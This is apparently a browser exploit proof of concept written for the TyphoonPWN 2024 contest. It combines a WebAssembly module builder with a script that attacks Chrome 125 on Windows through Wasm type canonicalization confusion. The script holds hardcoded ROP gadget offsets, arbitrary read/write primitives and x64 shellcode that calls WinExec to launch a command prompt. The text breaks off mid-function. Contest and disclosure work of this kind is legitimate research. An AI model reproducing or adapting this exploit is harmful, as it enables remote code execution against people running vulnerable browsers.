Error( "Imported tables must be declared before local ones" ); } let o = { module: module, name: name, kind: kExternalTable, initial: initial, maximum: maximum, type: type || kWasmFuncRef, }; this.imports.push(o); return this.num_imported_tables++; } addImportedTag(module, name, type) { if (this.tags.length != 0) { throw new Error("Imported tags must be declared before local ones"); } let type_index = typeof type == "number" ? type : this.addType(type); let o = { module: module, name: name, kind: kExternalTag, type_index: type_index, }; this.imports.push(o); return this.num_imported_tags++; } addExport(name, index) { this.exports.push({ name: name, kind: kExternalFunction, index: index, }); return this; } addExportOfKind(name, kind, index) { if ( index === undefined && kind != kExternalTable && kind != kExternalMemory ) { throw new Error( "Index for exports other than tables/memories must be provided" ); } if (index !== undefined && typeof index != "number") { throw new Error("Index for exports must be a number"); } this.exports.push({ name: name, kind: kind, index: index }); return this; } setCompilationHint(strategy, baselineTier, topTier, index) { this.compilation_hints[index] = { strategy: strategy, baselineTier: baselineTier, topTier: topTier, }; return this; } // TODO(manoskouk): Refactor this to use initializer expression for {offset}. addDataSegment(offset, data, is_global = false, memory_index = 0) { this.data_segments.push({ offset: offset, data: data, is_global: is_global, is_active: true, mem_index: memory_index, }); return this.data_segments.length - 1; } addPassiveDataSegment(data) { this.data_segments.push({ data: data, is_active: false }); return this.data_segments.length - 1; } exportMemoryAs(name, memory_index) { if (memory_index === undefined) { const num_memories = this.memories.length + this.imports.filter((i) => i.kind == kExternalMemory).length; if (num_memories !== 1) { throw new Error( "Pass memory index to 'exportMemoryAs' if there is not exactly " + "one memory imported or declared." ); } memory_index = 0; } this.exports.push({ name: name, kind: kExternalMemory, index: memory_index, }); } // {offset} is a constant expression. // If {type} is undefined, then {elements} are function indices. Otherwise, // they are constant expressions. addActiveElementSegment(table, offset, elements, type) { checkExpr(offset); if (type != undefined) { for (let element of elements) checkExpr(element); } this.element_segments.push( new WasmElemSegment(table, offset, type, elements, false) ); return this.element_segments.length - 1; } // If {type} is undefined, then {elements} are function indices. Otherwise, // they are constant expressions. addPassiveElementSegment(elements, type) { if (type != undefined) { for (let element of elements) checkExpr(element); } this.element_segments.push( new WasmElemSegment(undefined, undefined, type, elements, false) ); return this.element_segments.length - 1; } // If {type} is undefined, then {elements} are function indices. Otherwise, // they are constant expressions. addDeclarativeElementSegment(elements, type) { if (type != undefined) { for (let element of elements) checkExpr(element); } this.element_segments.push( new WasmElemSegment(undefined, undefined, type, elements, true) ); return this.element_segments.length - 1; } appendToTable(array) { for (let n of array) { if (typeof n != "number") throw new Error( "invalid table (entries have to be numbers): " + array ); } if (this.tables.length == 0) { this.addTable(kWasmAnyFunc, 0); } // Adjust the table to the correct size. let table = this.tables[0]; const base = table.initial_size; const table_size = base + array.length; table.initial_size = table_size; if (table.has_max && table_size > table.max_size) { table.max_size = table_size; } return this.addActiveElementSegment(0, wasmI32Const(base), array); } setTableBounds(min, max = undefined) { if (this.tables.length != 0) { throw new Error( "The table bounds of table '0' have already been set." ); } this.addTable(kWasmAnyFunc, min, max); return this; } startRecGroup() { this.rec_groups.push({ start: this.types.length, size: 0 }); } endRecGroup() { if (this.rec_groups.length == 0) { throw new Error( "Did not start a recursive group before ending one" ); } let last_element = this.rec_groups[this.rec_groups.length - 1]; if (last_element.size != 0) { throw new Error( "Did not start a recursive group before ending one" ); } last_element.size = this.types.length - last_element.start; } setName(name) { this.name = name; return this; } toBuffer(debug = false, typeToBuffer = false) { let binary = new Binary(); let wasm = this; // Add header. binary.emit_header(); const headerLen = binary.length; // Add type section. if (wasm.types.length > 0) { if (debug) print("emitting types @ " + binary.length); binary.emit_section(kTypeSectionCode, (section) => { let length_with_groups = wasm.types.length; for (let group of wasm.rec_groups) { length_with_groups -= group.size - 1; } section.emit_u32v(length_with_groups); let rec_group_index = 0; for (let i = 0; i < wasm.types.length; i++) { if ( rec_group_index < wasm.rec_groups.length && wasm.rec_groups[rec_group_index].start == i ) { section.emit_u8(kWasmRecursiveTypeGroupForm); section.emit_u32v(wasm.rec_groups[rec_group_index].size); rec_group_index++; } let type = wasm.types[i]; if (type.supertype != kNoSuperType) { section.emit_u8( type.is_final ? kWasmSubtypeFinalForm : kWasmSubtypeForm ); section.emit_u8(1); // supertype count section.emit_u32v(type.supertype); } else if (!type.is_final) { section.emit_u8(kWasmSubtypeForm); section.emit_u8(0); // no supertypes } if (type instanceof WasmStruct) { section.emit_u8(kWasmStructTypeForm); section.emit_u32v(type.fields.length); for (let field of type.fields) { section.emit_type(field.type); section.emit_u8(field.mutability ? 1 : 0); } } else if (type instanceof WasmArray) { section.emit_u8(kWasmArrayTypeForm); section.emit_type(type.type); section.emit_u8(type.mutability ? 1 : 0); } else { section.emit_u8(kWasmFunctionTypeForm); section.emit_u32v(type.params.length); for (let param of type.params) { section.emit_type(param); } section.emit_u32v(type.results.length); for (let result of type.results) { section.emit_type(result); } } } }); if (typeToBuffer) { console.log(headerLen); return binary.trunc_buffer().slice(headerLen); } } // Add imports section. if (wasm.imports.length > 0) { if (debug) print("emitting imports @ " + binary.length); binary.emit_section(kImportSectionCode, (section) => { section.emit_u32v(wasm.imports.length); for (let imp of wasm.imports) { section.emit_string(imp.module); section.emit_string(imp.name || ""); section.emit_u8(imp.kind); if (imp.kind == kExternalFunction) { section.emit_u32v(imp.type_index); } else if (imp.kind == kExternalGlobal) { section.emit_type(imp.type); section.emit_u8(imp.mutable); } else if (imp.kind == kExternalMemory) { const has_max = imp.maximum !== undefined; const is_shared = !!imp.shared; const is_memory64 = !!imp.is_memory64; let limits_byte = (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0); section.emit_u8(limits_byte); let emit = (val) => is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val); emit(imp.initial); if (has_max) emit(imp.maximum); } else if (imp.kind == kExternalTable) { section.emit_type(imp.type); var has_max = typeof imp.maximum != "undefined"; section.emit_u8(has_max ? 1 : 0); // flags section.emit_u32v(imp.initial); // initial if (has_max) section.emit_u32v(imp.maximum); // maximum } else if (imp.kind == kExternalTag) { section.emit_u32v(kExceptionAttribute); section.emit_u32v(imp.type_index); } else { throw new Error( "unknown/unsupported import kind " + imp.kind ); } } }); } // Add functions declarations. if (wasm.functions.length > 0) { if (debug) print("emitting function decls @ " + binary.length); binary.emit_section(kFunctionSectionCode, (section) => { section.emit_u32v(wasm.functions.length); for (let func of wasm.functions) { section.emit_u32v(func.type_index); } }); } // Add table section. if (wasm.tables.length > 0) { if (debug) print("emitting tables @ " + binary.length); binary.emit_section(kTableSectionCode, (section) => { section.emit_u32v(wasm.tables.length); for (let table of wasm.tables) { if (table.has_init) { section.emit_u8(0x40); // "has initializer" section.emit_u8(0x00); // Reserved byte. } section.emit_type(table.type); section.emit_u8(table.has_max); section.emit_u32v(table.initial_size); if (table.has_max) section.emit_u32v(table.max_size); if (table.has_init) section.emit_init_expr(table.init_expr); } }); } // Add memory section. if (wasm.memories.length > 0) { if (debug) print("emitting memories @ " + binary.length); binary.emit_section(kMemorySectionCode, (section) => { section.emit_u32v(wasm.memories.length); for (let memory of wasm.memories) { const has_max = memory.max !== undefined; const is_shared = !!memory.shared; const is_memory64 = !!memory.is_memory64; let limits_byte = (is_memory64 ? 4 : 0) | (is_shared ? 2 : 0) | (has_max ? 1 : 0); section.emit_u8(limits_byte); let emit = (val) => is_memory64 ? section.emit_u64v(val) : section.emit_u32v(val); emit(memory.min); if (has_max) emit(memory.max); } }); } // Add tag section. if (wasm.tags.length > 0) { if (debug) print("emitting tags @ " + binary.length); binary.emit_section(kTagSectionCode, (section) => { section.emit_u32v(wasm.tags.length); for (let type_index of wasm.tags) { section.emit_u32v(kExceptionAttribute); section.emit_u32v(type_index); } }); } // Add stringref section. if (wasm.stringrefs.length > 0) { if (debug) print("emitting stringrefs @ " + binary.length); binary.emit_section(kStringRefSectionCode, (section) => { section.emit_u32v(0); section.emit_u32v(wasm.stringrefs.length); for (let str of wasm.stringrefs) { section.emit_string(str); } }); } // Add global section. if (wasm.globals.length > 0) { if (debug) print("emitting globals @ " + binary.length); binary.emit_section(kGlobalSectionCode, (section) => { section.emit_u32v(wasm.globals.length); for (let global of wasm.globals) { section.emit_type(global.type); section.emit_u8(global.mutable); section.emit_init_expr(global.init); } }); } // Add export table. var exports_count = wasm.exports.length; if (exports_count > 0) { if (debug) print("emitting exports @ " + binary.length); binary.emit_section(kExportSectionCode, (section) => { section.emit_u32v(exports_count); for (let exp of wasm.exports) { section.emit_string(exp.name); section.emit_u8(exp.kind); section.emit_u32v(exp.index); } }); } // Add start function section. if (wasm.start_index !== undefined) { if (debug) print("emitting start function @ " + binary.length); binary.emit_section(kStartSectionCode, (section) => { section.emit_u32v(wasm.start_index); }); } // Add element segments. if (wasm.element_segments.length > 0) { if (debug) print("emitting element segments @ " + binary.length); binary.emit_section(kElementSectionCode, (section) => { var segments = wasm.element_segments; section.emit_u32v(segments.length); for (let segment of segments) { // Emit flag and header. // Each case below corresponds to a flag from // https://webassembly.github.io/spec/core/binary/modules.html#element-section // (not in increasing order). if (segment.is_active()) { if (segment.table == 0 && segment.type === undefined) { if (segment.expressions_as_elements()) { section.emit_u8(0x04); section.emit_init_expr(segment.offset); } else { section.emit_u8(0x00); section.emit_init_expr(segment.offset); } } else { if (segment.expressions_as_elements()) { section.emit_u8(0x06); section.emit_u32v(segment.table); section.emit_init_expr(segment.offset); section.emit_type(segment.type); } else { section.emit_u8(0x02); section.emit_u32v(segment.table); section.emit_init_expr(segment.offset); section.emit_u8(kExternalFunction); } } } else { if (segment.expressions_as_elements()) { if (segment.is_passive()) { section.emit_u8(0x05); } else { section.emit_u8(0x07); } section.emit_type(segment.type); } else { if (segment.is_passive()) { section.emit_u8(0x01); } else { section.emit_u8(0x03); } section.emit_u8(kExternalFunction); } } // Emit elements. section.emit_u32v(segment.elements.length); for (let element of segment.elements) { if (segment.expressions_as_elements()) { section.emit_init_expr(element); } else { section.emit_u32v(element); } } } }); } // If there are any passive data segments, add the DataCount section. if (true /*wasm.data_segments.some(seg => !seg.is_active)*/) { binary.emit_section(kDataCountSectionCode, (section) => { section.emit_u32v(wasm.data_segments.length); }); } // If there are compilation hints add a custom section 'compilationHints' // after the function section and before the code section. if (wasm.compilation_hints.length > 0) { if (debug) print("emitting compilation hints @ " + binary.length); // Build custom section payload. let payloadBinary = new Binary(); let implicit_compilation_hints_count = wasm.functions.length; payloadBinary.emit_u32v(implicit_compilation_hints_count); // Defaults to the compiler's choice if no better hint was given (0x00). let defaultHintByte = kCompilationHintStrategyDefault | (kCompilationHintTierDefault << 2) | (kCompilationHintTierDefault << 4); // Emit hint byte for every function defined in this module. for (let i = 0; i < implicit_compilation_hints_count; i++) { let index = wasm.num_imported_funcs + i; var hintByte; if (index in wasm.compilation_hints) { let hint = wasm.compilation_hints[index]; hintByte = hint.strategy | (hint.baselineTier << 2) | (hint.topTier << 4); } else { hintByte = defaultHintByte; } payloadBinary.emit_u8(hintByte); } // Finalize as custom section. let name = "compilationHints"; let bytes = this.createCustomSection( name, payloadBinary.trunc_buffer() ); binary.emit_bytes(bytes); } // Add function bodies. if (wasm.functions.length > 0) { // emit function bodies if (debug) print("emitting code @ " + binary.length); let section_length = 0; binary.emit_section(kCodeSectionCode, (section) => { section.emit_u32v(wasm.functions.length); let header; for (let func of wasm.functions) { if (func.locals.length == 0) { // Fast path for functions without locals. section.emit_u32v(func.body.length + 1); section.emit_u8(0); // 0 locals. } else { // Build the locals declarations in separate buffer first. if (!header) header = new Binary(); header.reset(); header.emit_u32v(func.locals.length); for (let decl of func.locals) { header.emit_u32v(decl.count); header.emit_type(decl.type); } section.emit_u32v(header.length + func.body.length); section.emit_bytes(header.trunc_buffer()); } // Set to section offset for now, will update. func.body_offset = section.length; section.emit_bytes(func.body); } section_length = section.length; }); for (let func of wasm.functions) { func.body_offset += binary.length - section_length; } } // Add data segments. if (wasm.data_segments.length > 0) { if (debug) print("emitting data segments @ " + binary.length); binary.emit_section(kDataSectionCode, (section) => { section.emit_u32v(wasm.data_segments.length); for (let seg of wasm.data_segments) { if (seg.is_active) { if (seg.mem_index == 0) { section.emit_u8(kActiveNoIndex); } else { section.emit_u8(kActiveWithIndex); section.emit_u32v(seg.mem_index); } if (seg.is_global) { // Offset is taken from a global. section.emit_u8(kExprGlobalGet); section.emit_u32v(seg.offset); } else { // Offset is a constant. section.emit_bytes(wasmI32Const(seg.offset)); } section.emit_u8(kExprEnd); } else { section.emit_u8(kPassive); } section.emit_u32v(seg.data.length); section.emit_bytes(seg.data); } }); } // Add any explicitly added sections. for (let exp of wasm.explicit) { if (debug) print("emitting explicit @ " + binary.length); binary.emit_bytes(exp); } // Add names. let num_function_names = 0; let num_functions_with_local_names = 0; for (let func of wasm.functions) { if (func.name !== undefined) ++num_function_names; if (func.numLocalNames() > 0) ++num_functions_with_local_names; } if ( num_function_names > 0 || num_functions_with_local_names > 0 || wasm.name !== undefined ) { if (debug) print("emitting names @ " + binary.length); binary.emit_section(kUnknownSectionCode, (section) => { section.emit_string("name"); // Emit module name. if (wasm.name !== undefined) { section.emit_section(kModuleNameCode, (name_section) => { name_section.emit_string(wasm.name); }); } // Emit function names. if (num_function_names > 0) { section.emit_section(kFunctionNamesCode, (name_section) => { name_section.emit_u32v(num_function_names); for (let func of wasm.functions) { if (func.name === undefined) continue; name_section.emit_u32v(func.index); name_section.emit_string(func.name); } }); } // Emit local names. if (num_functions_with_local_names > 0) { section.emit_section(kLocalNamesCode, (name_section) => { name_section.emit_u32v(num_functions_with_local_names); for (let func of wasm.functions) { if (func.numLocalNames() == 0) continue; name_section.emit_u32v(func.index); name_section.emit_u32v(func.numLocalNames()); let name_index = 0; for (let i = 0; i < func.local_names.length; ++i) { if (typeof func.local_names[i] == "string") { name_section.emit_u32v(name_index); name_section.emit_string(func.local_names[i]); name_index++; } else { name_index += func.local_names[i]; } } } }); } }); } return binary.trunc_buffer(); } toArray(debug = false) { return Array.from(this.toBuffer(debug)); } instantiate(ffi, options) { let module = this.toModule(options); let instance = new WebAssembly.Instance(module, ffi); return instance; } asyncInstantiate(ffi) { return WebAssembly.instantiate(this.toBuffer(), ffi).then( ({ module, instance }) => instance ); } toModule(options, debug = false) { return new WebAssembly.Module(this.toBuffer(debug), options); } } function wasmSignedLeb(val, max_len = 5) { if (val == null) throw new Error("Leb value may not be null/undefined"); let res = []; for (let i = 0; i < max_len; ++i) { let v = val & 0x7f; // If {v} sign-extended from 7 to 32 bits is equal to val, we are done. if ((v << 25) >> 25 == val) { res.push(v); return res; } res.push(v | 0x80); val = val >> 7; } throw new Error( "Leb value <" + val + "> exceeds maximum length of " + max_len ); } function wasmSignedLeb64(val, max_len = 10) { if (val == null) throw new Error("Leb value may not be null/undefined"); if (typeof val != "bigint") { if (val < Math.pow(2, 31)) { return wasmSignedLeb(val, max_len); } val = BigInt(val); } let res = []; for (let i = 0; i < max_len; ++i) { let v = val & 0x7fn; // If {v} sign-extended from 7 to 32 bits is equal to val, we are done. if (BigInt.asIntN(7, v) == val) { res.push(Number(v)); return res; } res.push(Number(v) | 0x80); val = val >> 7n; } throw new Error( "Leb value <" + val + "> exceeds maximum length of " + max_len ); } function wasmUnsignedLeb(val, max_len = 5) { if (val == null) throw new Error("Leb value many not be null/undefined"); let res = []; for (let i = 0; i < max_len; ++i) { let v = val & 0x7f; if (v == val) { res.push(v); return res; } res.push(v | 0x80); val = val >>> 7; } throw new Error( "Leb value <" + val + "> exceeds maximum length of " + max_len ); } function wasmI32Const(val) { return [kExprI32Const, ...wasmSignedLeb(val, 5)]; } // Note: Since {val} is a JS number, the generated constant only has 53 bits of // precision. function wasmI64Const(val) { return [kExprI64Const, ...wasmSignedLeb64(val, 10)]; } function wasmF32Const(f) { // Write in little-endian order at offset 0. data_view.setFloat32(0, f, true); return [ kExprF32Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3], ]; } function wasmF64Const(f) { // Write in little-endian order at offset 0. data_view.setFloat64(0, f, true); return [ kExprF64Const, byte_view[0], byte_view[1], byte_view[2], byte_view[3], byte_view[4], byte_view[5], byte_view[6], byte_view[7], ]; } function wasmS128Const(f) { // Write in little-endian order at offset 0. if (Array.isArray(f)) { if (f.length != 16) throw new Error("S128Const needs 16 bytes"); return [kSimdPrefix, kExprS128Const, ...f]; } let result = [kSimdPrefix, kExprS128Const]; if (arguments.length === 2) { for (let j = 0; j < 2; j++) { data_view.setFloat64(0, arguments[j], true); for (let i = 0; i < 8; i++) result.push(byte_view[i]); } } else if (arguments.length === 4) { for (let j = 0; j < 4; j++) { data_view.setFloat32(0, arguments[j], true); for (let i = 0; i < 4; i++) result.push(byte_view[i]); } } else { throw new Error( "S128Const needs an array of bytes, or two f64 values, " + "or four f32 values" ); } return result; } let [wasmBrOnCast, wasmBrOnCastFail] = (function () { return [ (labelIdx, sourceType, targetType) => wasmBrOnCastImpl(labelIdx, sourceType, targetType, false), (labelIdx, sourceType, targetType) => wasmBrOnCastImpl(labelIdx, sourceType, targetType, true), ]; function wasmBrOnCastImpl(labelIdx, sourceType, targetType, brOnFail) { labelIdx = wasmUnsignedLeb(labelIdx, kMaxVarInt32Size); let srcHeap = wasmSignedLeb(sourceType.heap_type, kMaxVarInt32Size); let tgtHeap = wasmSignedLeb(targetType.heap_type, kMaxVarInt32Size); let srcIsNullable = sourceType.opcode == kWasmRefNull; let tgtIsNullable = targetType.opcode == kWasmRefNull; flags = (tgtIsNullable << 1) + srcIsNullable; return [ kGCPrefix, brOnFail ? kExprBrOnCastFailGeneric : kExprBrOnCastGeneric, flags, ...labelIdx, ...srcHeap, ...tgtHeap, ]; } })(); function getOpcodeName(opcode) { return globalThis.kWasmOpcodeNames?.[opcode] ?? "unknown"; } // Make a wasm export "promising" using JS Promise Integration. function ToPromising(wasm_export) { let sig = wasm_export.type(); assertTrue(sig.parameters.length > 0); assertEquals("externref", sig.parameters[0]); let wrapper_sig = { parameters: sig.parameters.slice(1), results: ["externref"], }; return new WebAssembly.Function(wrapper_sig, wasm_export, { promising: "first", }); } </script> <script> async function exp() { function checkUA(chrome_leak) { if ((chrome_leak & 0xffffn) === 0xfd00n) { browser_type = "chrome"; browser_version = "125.0.6422.113"; base_leak_ofs = 0xd39fd00n; base_tgt_ofs = 0xd35ffb8n; fptr_xor = 0xff000000000000n; pivot_gadget = 0x895558en; pop_gadget = 0x67620cn; prax_ret = 0x6cd1n; jmp_drax = 0x1d1e7n; virtualprotect_iat_ofs = 0xd214850n; vtable_gadget = 0x96b3672n; vtable_rax = 0xd4dab30n; vtable_call_base = 0xd3125e8n; } if (window.browser_type === undefined) { console.log("[!] checkUA() fail!!!"); console.log("[*] navigator.userAgent = " + navigator.userAgent); console.log("[*] chrome_leak = " + chrome_leak.toString(16)); } else { console.log( "[+] checkUA() Browser: " + browser_type[0].toUpperCase() + browser_type.slice(1) + " " + browser_version ); } } async function sleep(ms = 50) { await new Promise((r) => setTimeout(r, ms)); } function hookLog() { const logTextarea = window.log; const ConsoleLog = console.log; console.realLog = ConsoleLog; console.log = (...args) => { logTextarea.value += args.join(" ") + "\n"; ConsoleLog.apply(console, args); }; } hookLog(); console.log("[*] UA:", navigator.userAgent); await sleep(); const nogc = []; const abs = []; let absctr = 0; for (let i = 0; i < 0x4000 / 0x40 - 1; i++) { abs.push(new ArrayBuffer(0x40)); } new DataView(abs[0]).setBigUint64(0, 0x1337c0de1337da7an, false); const ab = new ArrayBuffer(0x20000); new DataView(ab).setBigUint64(0, 0xdeadbeefcafebaben, false); /*for (let i = 0; i < 0x180000 / 0x20000; i++) { nogc.push(new ArrayBuffer(0x20000)); }*/ // WinExec(sc+sc.len, 1) const sc = [ 0x48, 0x83, 0xec, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x44, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x15, 0xed, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x4a, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xe5, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x15, 0xd6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0xe8, 0x2b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x48, 0x89, 0xd8, 0xeb, 0xf4, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x40, 0x20, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x40, 0x20, 0xc3, 0x53, 0x57, 0x56, 0x41, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x30, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xcb, 0x8b, 0x9b, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xcb, 0x44, 0x8b, 0x43, 0x18, 0x8b, 0x7b, 0x20, 0x48, 0x01, 0xcf, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xc0, 0x4c, 0x39, 0xc6, 0x73, 0x43, 0x8b, 0x0c, 0xb7, 0x48, 0x03, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x54, 0x24, 0x30, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x33, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0xff, 0xc6, 0xeb, 0xd4, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x8b, 0x7b, 0x24, 0x48, 0x01, 0xcf, 0x48, 0x0f, 0xb7, 0x34, 0x77, 0x8b, 0x7b, 0x1c, 0x48, 0x01, 0xcf, 0x8b, 0x04, 0xb7, 0x48, 0x01, 0xc8, 0x41, 0x58, 0x5e, 0x5f, 0x5b, 0xc3, 0x53, 0x8a, 0x01, 0x8a, 0x1a, 0x84, 0xc0, 0x74, 0x0c, 0x38, 0xd8, 0x75, 0x08, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc2, 0xeb, 0xec, 0x28, 0xd8, 0x48, 0x0f, 0xbe, 0xc0, 0x5b, 0xc3, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00, ]; cmd = 'cmd /c "title Pwned! & echo \x1b[4;97mPwned by Seunghyun Lee (Xion, @0x10n), for TyphoonPWN 2024\x1b[0m & echo \x1b[5;96m & echo /$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$$ /$$$$$$$ /$$ & echo ^| $$__ $$^| $$ /$ ^| $$^| $$$ ^| $$^| $$_____/^| $$__ $$^| $$ & echo ^| $$ \\ $$^| $$ /$$$^| $$^| $$$$^| $$^| $$ ^| $$ \\ $$^| $$ & echo ^| $$$$$$$/^| $$/$$ $$ $$^| $$ $$ $$^| $$$$$ ^| $$ ^| $$^| $$ & echo ^| $$____/ ^| $$$$_ $$$$^| $$ $$$$^| $$__/ ^| $$ ^| $$^|__/ & echo ^| $$ ^| $$$/ \\ $$$^| $$\\ $$$^| $$ ^| $$ ^| $$ & echo ^| $$ ^| $$/ \\ $$^| $$ \\ $$^| $$$$$$$$^| $$$$$$$/ /$$ & echo ^|__/ ^|__/ \\__/^|__/ \\__/^|________/^|_______/ ^|__/ & echo \x1b[0m & cmd"'; for (let i = 0; i < cmd.length; i++) { sc.push(cmd.charCodeAt(i)); } sc.push(0x00); // prevent isorecursive group canonicalization merge function encodeTag(val, bitlen = 33) { return val .toString(2) .padStart(bitlen, "0") .split("") .reverse() .map((v) => v === "0" ? makeField(kWasmI32, true) : makeField(kWasmI64, true) ); } let reserveCtr = 0; function reserve(cnt) { const builder = new WasmModuleBuilder(); builder.startRecGroup(); builder.addStruct(encodeTag(++reserveCtr)); for (let i = 0; i < cnt - 2; i++) { builder.addArray(kWasmI64); //builder.addType(kSig_v_v); //builder.addStruct([makeField(kWasmI64, true)]); } builder.addStruct([], cnt - 1); // self-ref -> err, halt wasm comp builder.endRecGroup(); const buf = builder.toBuffer(); try { const _ = new WebAssembly.Module(buf); console.log("no crash?????", reserveCtr); } catch (e) { if (e.toString().includes("forward-declared supertype")) { console.log( "[*] Reserved " + cnt + " isorecursive canonical type ids" ); } else { console.log("caught wrong exc???", e, reserveCtr); } } } /* kFunc = kV8MaxWasmTypes, // shorthand: c / 1000000 kEq, // shorthand: q / 1000001 kI31, // shorthand: j / 1000002 kStruct, // shorthand: o / 1000003 kArray, // shorthand: g / 1000004 kAny, // / 1000005 <- any (which is actually a struct) -> type kExtern, // shorthand: a./ 1000006 */ // R: int -> int* + read // W: int -> int* + write // addrOf: externref -> int // fakeObj: int -> externref // kNumberOfPredefinedTypes = 2 reserve(1000000 - 2); reserve(0x100000 - 1000000); await sleep(); // this two lines can be repeated (filling 20bits) //reserve(1000000); //reserve(0x100000 - 1000000); // 1. create any -> int casting functions reserve(1000000); reserve(5); { let builder = new WasmModuleBuilder(); builder.startRecGroup(); let struct = builder.addStruct([ makeField(kWasmI32, true), makeField(kWasmI32, true), ]); // 1000005 (kAny) let funcSig = builder.addType( makeSig([wasmRefType(struct), kWasmI32], [kWasmI32]) ); // 1000006 let funcSig2 = builder.addType(makeSig([], [wasmRefType(struct)])); // 1000007 builder.addStruct(encodeTag(0x133370000)); // 1000008 builder.endRecGroup(); builder .addFunction("i_init", funcSig2) .addBody([ kExprI32Const, 0, kExprI32Const, 0, kGCPrefix, kExprStructNew, struct, ]) .exportFunc(); builder .addFunction("i_get0", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), ]) .exportFunc(); builder .addFunction("i_get1", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(1), ]) .exportFunc(); builder .addFunction("i_set0", funcSig) .addBody([ kExprLocalGet, 0, kExprLocalGet, 1, kGCPrefix, kExprStructSet, struct, ...wasmUnsignedLeb(0), kExprLocalGet, 1, ]) .exportFunc(); builder .addFunction("i_set1", funcSig) .addBody([ kExprLocalGet, 0, kExprLocalGet, 1, kGCPrefix, kExprStructSet, struct, ...wasmUnsignedLeb(1), kExprLocalGet, 1, ]) .exportFunc(); let instance = builder.instantiate(); let wasm = instance.exports; i_init = wasm.i_init; // void -> struct {int, int} i_get0 = (v) => wasm.i_get0(v, 0); // any -> int (ofs 0) i_get1 = (v) => wasm.i_get1(v, 0); // any -> int (ofs 4) i_set0 = wasm.i_set0; // any, int -> void (ofs 0) i_set1 = wasm.i_set1; // any, int -> void (ofs 4) } reserve(0x100000 - 1000008); await sleep(); // 2. create any -> int* casting read/write functions reserve(1000000); reserve(3); { let builder = new WasmModuleBuilder(); builder.startRecGroup(); let oneRef = builder.addStruct([makeField(kWasmI32, true)]); // 1000003, 1000004? let struct = builder.addStruct([ makeField(wasmRefType(oneRef), false), ]); // 1000005 (kAny), 1000006? let funcSig = builder.addType( makeSig([wasmRefType(struct), kWasmI32], [kWasmI32]) ); // 1000007 builder.addStruct(encodeTag(0x133370001)); // 1000008 builder.endRecGroup(); builder .addFunction("ip_read", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), // oneRef = struct->oneRef kGCPrefix, kExprStructGet, oneRef, ...wasmUnsignedLeb(0), // i32 = oneRef->i32 ]) .exportFunc(); builder .addFunction("ip_write", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), // oneRef = struct->oneRef kExprLocalGet, 1, kGCPrefix, kExprStructSet, oneRef, ...wasmUnsignedLeb(0), // oneRef->i32 = val kExprLocalGet, 1, ]) .exportFunc(); let instance = builder.instantiate(); let wasm = instance.exports; ip_read = (v) => wasm.ip_read(v, 0); // any -> int (ofs 0) ip_write = wasm.ip_write; // any, int -> void (ofs 0) } reserve(0x100000 - 1000008); await sleep(); // 3. create any -> externref casting functions const externRefDummy = {}; reserve(1000000); reserve(5); { let builder = new WasmModuleBuilder(); builder.startRecGroup(); let struct = builder.addStruct([makeField(kWasmExternRef, true)]); // 1000005 (kAny) let funcSig = builder.addType( makeSig([wasmRefType(struct), kWasmExternRef], [kWasmExternRef]) ); // 1000006 let funcSig2 = builder.addType( makeSig([kWasmExternRef], [wasmRefType(struct)]) ); // 1000007 builder.addStruct(encodeTag(0x133370000)); // 1000008 builder.endRecGroup(); builder .addFunction("e_init", funcSig2) .addBody([kExprLocalGet, 0, kGCPrefix, kExprStructNew, struct]) .exportFunc(); builder .addFunction("e_get", funcSig) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), ]) .exportFunc(); builder .addFunction("e_set", funcSig) .addBody([ kExprLocalGet, 0, kExprLocalGet, 1, kGCPrefix, kExprStructSet, struct, ...wasmUnsignedLeb(0), kExprLocalGet, 1, ]) .exportFunc(); let instance = builder.instantiate(); let wasm = instance.exports; e_init = () => wasm.e_init(externRefDummy); // void -> struct {externref} e_get = (v) => wasm.e_get(v, externRefDummy); // any -> externref (ofs 0) e_set = wasm.e_set; // any, externref -> void (ofs 0) } reserve(0x100000 - 1000008); await sleep(); const E = e_init(); const I = i_init(); const arr = [1.1, 2.2, 0x101, 0x202, 0x2345678]; const conv_ab = new ArrayBuffer(8); const conv_dv = new DataView(conv_ab); function i2u32(val) { conv_dv.setInt32(0, val, true); return 